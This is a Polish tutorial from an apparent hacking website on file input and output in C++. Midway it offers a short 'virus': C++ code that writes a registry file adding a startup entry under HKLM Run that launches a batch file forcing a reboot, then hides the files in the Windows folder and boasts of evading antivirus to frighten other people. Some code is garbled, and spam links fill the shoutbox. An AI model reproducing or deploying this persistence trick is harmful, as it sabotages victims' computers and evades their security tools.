Hacking  
  Styczeń 23 2020 07:23:46  
 
Nawigacja
folder Portal
. Artykuły
. Download
. Forum
. Szukaj
. FAQ
. Regulamin
folder Hacking
. Gry Hakerskie
. Filmy
folder Delphi
. Kursy
. Faq
. Źródła
. Komponenty
. Artykuły
folderWebmaster
. JavaScripts
. Skrypty PHP
folderRóżne
. Kontakt
. Zlokalizuj ip
Aktualnie online
. Gości online: 2

. Użytkowników online: 0

. Łącznie użytkowników: 154,510
. Najnowszy użytkownik: Balcon
Ostatnie artykuły
. Metoda ataku symlin...
. Braifuck 4 fun
. Kaspersky Reset Trial
. Hakin9 12/2009
. Hakin9 11/2009
Nawigacja
Artykuły » Programowanie » Obsługa plików w C++
Obsługa plików w C++

Obsługa plików w C++



Wiele razy wyświetlamy w programach jakieś dane na ekran, lub wczytujemy je, ale po zakończeniu programu zostają zdjęte ze stosu i przepadają można je jednak zapisać w pliku i o tym będzie ten artykuł

Operacje wejścia/wyjścia na plikach wykonujemy za pomocą funkcji znajdujących się w pliku nagłówkowym , są to ifstream(), ofstream() i fstream()

ofstream (out file stream) służy do zapisania danych w pliku, robimy to np. w ten sposób:


Kod:
ofstream plik("tekst");
plik <<"blablabla";





Program utworzy plik (o ile już nie istnieje) o nazwie tekst i zapisze w nim tekst blablabla. Jak można zauważyć używamy takiego samego operatora jak przy użyciu cout

Pojawia się jednak pytanie, co, jeśli dysk jest pełny, albo chroniony przed zapisem?? albo po prostu nie uda się utworzyć pliku?? można problem rozwiązać stosując funkcję fail(), good(), lub nawet bez nich funkcja fail() zwraca wartość TRUE, jeśli coś pójdzie nie tak, funkcja good() zwraca TRUE, jeśli wszystko jest dobrze. Oto zastosowanie w praktyce:


Kod:
ofstream plik("tekst");
plik << "blablabla";
if (plik.fail()) //przykład z użyciem fail()
{
cout << "Nie udało się otworzyć pliku ";
return 0;
}

if (!plik.good()) //przykład użycia good()
{
cout << "Nie udało się otworzyć pliku ";
return 0;
}

if (!plik) //a tu bez użycia żadnej funkcji, niby zgrabne, ale czy łatwo dojść do tego o co tu chodzi?
{
cout << "Nie udało się otworzyć pliku ";
return 0;
}





A teraz czas na coś ciekawszego, jak można sprytnie połączyć te umiejętności z podstawami batcha

Ta wiedza zainspirowała mnie do napisania prostego wiruska, nie potrafię napisać programu, który bezpośrednio pogrzebie w rejestrze, ale wykorzystując funkcję ofstream()...

Dobra, ale jedziemy z tym koksem Otóż króciutki kod źródłowy


Kod:
#include
#include

using namespace std;

int main()
{
ofstream rejestr("rejestr.reg");
rejestr<<"REGEDIT\n\n"
<<"[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run] \"wirusek\"=\"\\\"C:\\\\wirusek.bat\\\"\"";
ofstream wirus("wirusek.bat");
wirus<<"shutdown.exe -r -t 300";
system("rejestr.reg");
return 0;
}




Program tworzy plik rejestr.reg o treści... no, chyba widać tylko pamiętajcie, iż kompilator traktuje '\\' jako \ i '\r1;' jako r1; Jednak program ma pewną wadę... działa wyłącznie w przypadku uruchomienia go bezpośrednio na dysku C można to jednak naprawić zamieniając kilka linijek


Kod:
ofstream rejestr("rejestr.reg"); //zamieniamy na:
ofstream rejestr("C:\\Windows\\rejestr.reg");

ofstream wirus("wirusek.bat"); //zamieniamy na:
ofstream wirus("C:\\Windows\\wiruserk.bat");

system("rejestr.reg"); //zamieniamy na
system("C:\\Windows\\rejestr.reg");





no i jeszcze ścieżkę w treści pliku rejestr, lub na jakąkolwiek inną, a czemu Windows?? bo pliki się utworzą, a za bardzo (jeszcze) nie wiem jakby je usunąć, a do folderu Windows nikt patrzeć nie będzie rWirusr1; nie jest wykrywany przez antywirusy, co jest sporą zaletą, a może sporo strachu napędzić jakiejś lamce

Bierzemy się za odczytywanie danych z pliku

No dobra, to jak coś odczytać? Za pomocą ifstream() (in file stream) składnia jest dokładnie ta sama, oczywiście może się okazać, że program nie odczyta pliku, w celu zabezpieczenia można użyć dokładnie tych samych funkcji w połączeniu z if co w przypadku ofstream Odczytujemy jednak za pomocą innego operatora - r1;>>r1;, np:


Kod:
ifstream plik("tekst");
double amount;
plik >> amount;





Jest jeszcze jedno ale, bardzo łatwy do popełnienia błąd obrazuje następujący przykład:


Kod:
Kod C++:
ofstream plik("tekst");
plik << "123.456";
double amount;
plik >> amount; //błąd! error: no match for r16;operator>>r17; in r16;plik >> amountr17;





Rozwiązania są dwa, albo dodać nową linię, np:


Kod:
ifstream f("tekst");
// plik >> amount zamieniamy na:
f >> amount;





Można jednak posłużyć się funkcją fstream() różnica jest taka, iż nie ma domyślnie określonego w niej tego, czy plik jest wejściowy czy wyjściowy i trzeba to zrobić ręcznie, np:


Kod C++:
fstream plik("tekst", ios::in); //synonim do ifstream plik("tekst");



No dobra, ale czemu ma to niby pomóc?? można zdefiniować w ten sposób obiekt tak, aby można było wykonywać na nim operacje zarówno wejścia jak i wyjścia, przyjrzyjmy się zmienionemu kodowi:

Kod:
fstream plik("tekst", ios::in|ios::out);
plik << "123.456";
double amount;
plik >> amount; //to już nie jest błąd


Stosując operacje wejścia/wyjścia można stosować te same funkcje co dla cin/cout, np. dla ifstream plik(''tekst''); można zastosować plik.get(), plik.getline itd.
Logowanie
Nazwa użytkownika

Hasło



Nie masz jeszcze konta?
Zarejestruj się

Nie możesz się zalogować?
Poproś o nowe hasło
Shoutbox
Musisz zalogować się, aby móc dodać wiadomość.

06-04-2018 22:35
http://piciu1902.c
t8.pl/

29-03-2018 00:22
1.1. &#1043;&#1088;&#1086;
&#1084;&#1072;&#1076;
&#1089;&#1100;&#1082;
&#1072; &#1086;&#1088;&#1075;
&#1072;&#1085;&#1110;
&#1079;&#1

24-03-2018 16:26
guest test post bbcode <a href="http://guestt
esttststs.com/"
Chytryhtml</a> http://guesttestts
tsts.com/ simple

24-03-2018 14:05
potawatomi casino <a href="https://onlin
ecasinoplay24.com&q
uot Chytryfree casino slots online</a> <a href=" https://onlinecasi
noplay24

23-03-2018 00:15
http://dkjshye7s63
2.com There are actually a number of particulars like that to take into consideration. That is a great point to deliver up. I offer the ideas above as common inspiration but clearl

Licznik
40,741,269 unikalne wizyty